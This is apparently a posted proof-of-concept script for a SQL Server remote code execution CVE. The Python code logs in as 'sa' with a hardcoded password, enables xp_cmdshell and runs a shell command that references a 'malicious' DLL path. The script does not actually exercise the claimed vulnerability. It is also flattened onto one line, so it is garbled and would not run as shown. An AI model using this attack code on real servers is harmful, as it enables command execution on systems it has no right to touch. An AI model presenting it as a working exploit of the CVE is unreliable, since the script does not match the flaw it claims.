CVE-2026-40370 SQL Server远程代码执行漏洞

import pyodbc # Proof of Concept for CVE-2026-40370 # This script demonstrates the potential for path manipulation leading to RCE. # Note: This requires a vulnerable SQL Server instance and valid credentials. SERVER = '192.168.1.100' DATABASE = 'Master' USERNAME = 'sa' PASSWORD = 'Password123' # Connect to the target SQL Server connection_string = f'DRIVER={{ODBC Driver 17 for SQL Server}};SERVER={SERVER};DATABASE={DATABASE};UID={USERNAME};PWD={PASSWORD}' conn = pyodbc.connect(connection_string) cursor = conn.cursor() try: # Malicious payload attempting to write to a controlled path # In a real scenario, this might involve 'BACKUP DATABASE' with a malicious DLL malicious_path = 'C:\\Windows\\System32\\evil.dll' # Example vulnerable command structure (Hypothetical) query = f"EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;" cursor.execute(query) # Attempting to execute code via the vulnerability # This represents the 'External control of file name or path' exploitation exploit_cmd = f'xp_cmdshell "echo {malicious_path} > C:\\temp\\poc.txt"' cursor.execute(exploit_cmd) print("[+] Payload executed successfully.") except Exception as e: print(f"[-] Exploit failed: {e}") finally: conn.close()